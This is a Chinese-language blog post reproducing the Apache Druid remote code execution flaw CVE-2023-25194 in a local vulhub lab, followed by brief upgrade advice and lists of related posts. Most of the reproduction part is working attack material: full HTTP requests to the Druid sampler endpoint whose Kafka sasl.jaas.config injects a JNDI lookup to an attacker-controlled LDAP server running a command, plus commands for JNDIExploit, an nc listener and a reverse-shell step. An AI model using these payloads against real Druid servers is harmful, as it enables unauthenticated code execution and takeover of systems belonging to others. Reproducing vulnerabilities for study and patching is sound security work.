Apache Druid RCE漏洞复现及修复(CVE-2023-25194)

2023-03-16

声明:本文分享的安全工具和项目均来源于网络,漏洞环境本地搭建,仅供安全研究与学习,如用于其他用途,由使用者承担全部法律及连带责任,与工具作者和本公众号无关。

瓜神学习网络安全

本公众号记录网络安全学习笔记
公众号

产品简介

Apache Druid是一个高性能的实时大数据分析引擎,支持快速数据摄取、实时查询和数据可视化。它主要用于OLAP(在线分析处理)场景,能处理PB级别的数据。Druid具有高度可扩展、低延迟和高吞吐量的特点,广泛应用于实时监控、事件驱动分析、用户行为分析、网络安全等领域。通过使用Druid,企业和开发者可以快速获得实时分析结果,提升决策效率。

漏洞简介

在Apache Druid使用Apache Kafka加载数据的场景下,未经身份认证的远程攻击者可配置Kafka连接属性,从而利用CVE-2023-25194漏洞触发JNDI注入,最终执行任意代码。(其他使用Apache Kafka Connect的产品也可能受CVE-2023-25194漏洞影响)

 

影响范围

  • 0.19.0 <= Apache Druid <= 25.0.0

危害级别

  • CVE-2023-25194

    QVD-2023-9629

漏洞复现

安装环境-docker部署

用的github 的vulhub:

https://github.com/vulhub/vulhub/blob/master/kafka/CVE-2023-25194/README.zh-cn.md

执行如下命令启动一个Apache Druid 25.0.0服务,其内部使用的kafka-clients版本是3.3.1:

[root@VM-4-17-centos CVE-2023-25194]# docker-compose up -dStarting cve202325194_web_1 ... done[root@VM-4-17-centos CVE-2023-25194]#

服务启动后,访问http://your-ip:8888即可查看到Apache Druid主页。

复现步骤1、检测:访问漏洞环境:


抓包

dnslog检测:

POST /druid/indexer/v1/sampler?for=connect HTTP/1.1Host: vps:8888Content-Length: 1400Accept: application/json, text/plain, */*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36Content-Type: application/jsonOrigin: http://vps:8888Referer: http://vps:8888/unified-console.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: pZaf_2132_ulastactivity=050484OuqAxDqETcOja26QKgFkE4HbrlSk4NbAkGRg9oNLIbkCUN; pZaf_2132_nofavfid=1; pZaf_2132_smile=1D1; pZaf_2132_home_readfeed=1682214968; pZaf_2132_lastviewtime=1%7C1682215445; pZaf_2132_lastcheckfeed=1%7C1682217817; kOJf_2132_saltkey=MGWItu8r; kOJf_2132_lastvisit=1683339017; kOJf_2132_ulastactivity=27e4qsFumyqDRGo03vcLLEHChJmZRharD1jfbUJnU1NIIIrbB8UL; kOJf_2132_nofavfid=1; kOJf_2132_lastcheckfeed=1%7C1683342726; PHPSESSID=3543e022151ed94117e84216Connection: close
{    "type":"kafka",    "spec":{        "type":"kafka",        "ioConfig":{            "type":"kafka",            "consumerProperties":{                "bootstrap.servers":"127.0.0.1:6666",                "sasl.mechanism":"SCRAM-SHA-256",                "security.protocol":"SASL_SSL",                "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://nhagk5.dnslog.cn\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"            },            "topic":"test",            "useEarliestOffset":true,            "inputFormat":{                "type":"regex",                "pattern":"([\\s\\S]*)",                "listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965",                "columns":[                    "raw"                ]            }        },        "dataSchema":{            "dataSource":"sample",            "timestampSpec":{                "column":"!!!_no_such_column_!!!",                "missingValue":"1970-01-01T00:00:00Z"            },            "dimensionsSpec":{
            },            "granularitySpec":{                "rollup":false            }        },        "tuningConfig":{            "type":"kafka"        }    },    "samplerConfig":{        "numRows":500,        "timeoutMs":15000    }}

2、利用:首先,使用JNDIExploit启动一个恶意的JNDI服务器:


[root@VM-4-17-centos JNDIExploit1.4]# java -jar JNDIExploit-1.4-SNAPSHOT.jar  -i your vps ip[+] LDAP Server Start Listening on 1389...[+] HTTP Server Start Listening on 3456...

2.1命令执行:/touch shell.txt

POST /druid/indexer/v1/sampler?for=connect HTTP/1.1Host:192.168.211.129:8888Accept-Encoding: gzip, deflateAccept: */*cmd:lsAccept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36Connection: closeCache-Control: max-age=0Content-Type: application/jsonContent-Length: 1434
{    "type":"kafka",    "spec":{        "type":"kafka",        "ioConfig":{            "type":"kafka",            "consumerProperties":{                "bootstrap.servers":"127.0.0.1:6666",                "sasl.mechanism":"SCRAM-SHA-256",                "security.protocol":"SASL_SSL",                "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://192.168.211.129:1389/Basic/Command/touch shell.txt\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"            },            "topic":"test",            "useEarliestOffset":true,            "inputFormat":{                "type":"regex",                "pattern":"([\\s\\S]*)",                "listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965",                "columns":[                    "raw"                ]            }        },        "dataSchema":{            "dataSource":"sample",            "timestampSpec":{                "column":"!!!_no_such_column_!!!",                "missingValue":"1970-01-01T00:00:00Z"            },            "dimensionsSpec":{
            },            "granularitySpec":{                "rollup":false            }        },        "tuningConfig":{            "type":"kafka"        }    },    "samplerConfig":{        "numRows":500,        "timeoutMs":15000    }}

进入容器查看命令执行成功

docker exec -it 1e453483411a   /bin/bash

getshell:

启用监听

nc-lvvp 8111

使用NDI-Injection-Exploit启动一个恶意的JNDI服务器:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "反射shell命令(需要bash编码)"  -A ip

反弹shell成功

修复建议

目前官方已有可更新版本,建议受影响用户升级至:Apache Kafka 3.4.0及以上版本。

暂时无法升级的用户可通过验证Kafka Connect连接器配置,仅允许受信任的JNDI配置来缓解此漏洞。

工具原链接

https://github.com/welk1n/JNDI-Injection-Exploit

关注公众号回复“JNDI-Injection-Exploit”可下载jdk1.8编译后的jar包

Apache Druid RCE漏洞复现及修复(CVE-2023-25194)的更多相关文章

  1. Apache Solr JMX服务 RCE 漏洞复现

    Apache Solr JMX服务 RCE 漏洞复现 ps:Apache Solr8.2.0下载有点慢,需要的话评论加好友我私发你 0X00漏洞简介 该漏洞源于默认配置文件solr.in.sh中的EN ...

  2. Apache Solr Velocity模板注入RCE漏洞复现

    Apache Solr Velocity模板注入RCE漏洞复现 一.Apache Solr介绍 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通 ...

  3. Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现

    Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现 一.漏洞描述 Joomla是一套内容管理系统,是使用PHP语言加上MYSQL数据库所开发的软件系统,最新版本为3.9.12,官网: ...

  4. 【Vulhub】CVE-2019-3396 Confluence RCE漏洞复现

    CVE-2019-3396 Confluence RCE漏洞复现 一.环境搭建 选择的vulhub里的镜像,进入vulhub/Confluence/CVE-2019-3396目录下,执行 docker ...

  5. Apache Shiro反序列化漏洞复现

    Apache Shiro反序列化漏洞复现 0x01 搭建环境 获取docker镜像 Docker pull medicean/vulapps:s_shiro_1 重启docker system res ...

  6. Apache Flink 任意 Jar 包上传致 RCE 漏洞复现

    0x00 简介 Flink核心是一个流式的数据流执行引擎,其针对数据流的分布式计算提供了数据分布.数据通信以及容错机制等功能.基于流执行引擎,Flink提供了诸多更高抽象层的API以便用户编写分布式任 ...

  7. Apache Tomcat Ajp-CVE-2020-1938漏洞复现

    环境搭建: sudo docker pull duonghuuphuc/tomcat-8.5.32 sudo docker run -d -it -p 8080:8080 -p 8009:8009  ...

  8. [Shell]CVE-2019-0708漏洞复现及修复补丁

    0x01 漏洞原理 Windows系列服务器于2019年5月15号,被爆出高危漏洞,该漏洞影响范围较广,windows2003.windows2008.windows2008 R2.windows 7 ...

  9. Solr 8.2.0最新RCE漏洞复现

    漏洞描述 国外安全研究员s00py公开了一个Apache Solr的Velocity模板注入漏洞.该漏洞可以攻击最新版本的Solr. 漏洞编号 无 影响范围 包括但不限于8.2.0(20191031最 ...

  10. Apache Shiro 反序列化漏洞复现(CVE-2016-4437)

    漏洞描述 Apache Shiro是一个Java安全框架,执行身份验证.授权.密码和会话管理.只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞. 漏洞原理 A ...

随机推荐

  1. 【杂谈】主键ID如何选择——自增数 OR UUID?

    1.生成位置如何影响选择? 数据库往返时间 使用自增数时,ID是由数据库在执行INSERT操作时生成的:而UUID则可以在应用层生成. 考虑这样的场景: 一个方法需要插入A和B两个实体.其中B的数据需 ...

  2. 【COM3D2Mod 制作教程(8)】实战!制作衣服部分(下)

    [COM3D2Mod 制作教程(8)]实战!制作衣服部分(下) 制作袜子 Mod 体会了裙子 Mod 的制作流程,不知道你有没有被麻烦的权重和形态键搞崩溃过,现在做袜子难道还得在来一遍?而且裆下的权重 ...

  3. linux下安装 elasticsearch

    一.基础环境 操作系统环境:Red Hat Enterprise Linux Server release 6.4 (Santiago) ES版本:elasticsearch-7.8.0-linux- ...

  4. Hive - [01] 概述

    一.Hive是什么 是Facebook开源,用于解决海量结构化日志的数据统计工具. 是基于Hadoop的一个数据仓库工具,可以将结构化的数据文件映射为一张表,并提供类SQL查询功能. Hive处理的数 ...

  5. idea中启动web、jsp项目

    1. idea打开项目 选择要打开的项目的根目录 2. 项目配置 配置jdk modules配置 添加web 添加依赖 删除爆红的依赖 添加依赖目录或者jar 配置web.xml 配置lib 如果没有 ...

  6. 创建一个MCP服务器,并在Cline中使用,增强自定义功能。

    MCP介绍 MCP 是一个开放协议,它标准化了应用程序如何向LLMs提供上下文.可以将 MCP 视为 AI 应用程序的 USB-C 端口.正如 USB-C 提供了一种标准化的方法来将您的设备连接到各种 ...

  7. 【Python】函数传参的方式

    学习笔记//20230402 edit 1.传参类型 值传递 引用传递 就像C++的参数传递: 值传递时值把实参的值传递给function, function 内对形参的修改不会影响实参; 引用传递时 ...

  8. Pandas删除数据

    参考文章:https://www.cnblogs.com/cocowool/p/8421997.html https://blog.csdn.net/weixin_38664232/article/d ...

  9. Proteus中数码管动态扫描显示不全(已解决)

    前言 我是直接把以前写的 51 数码管程序复制过来的,当时看的郭天祥的视频,先送段选,消隐后送位选,最后来个 1ms 的延时. 代码在 Proteus 中数码管静态是可以的,动态显示出了问题--显示不 ...

  10. css px em rem % vw vh vm 区别

    前言 在传统项目开发中,我们只会用到 px.%.em 这几个单位长度,它们可以适用大部分项目的开发,并且拥有较好的兼容性. 而从 css3 开始,浏览器对逻辑单位的支持又提升了新的境界,增加了 rem ...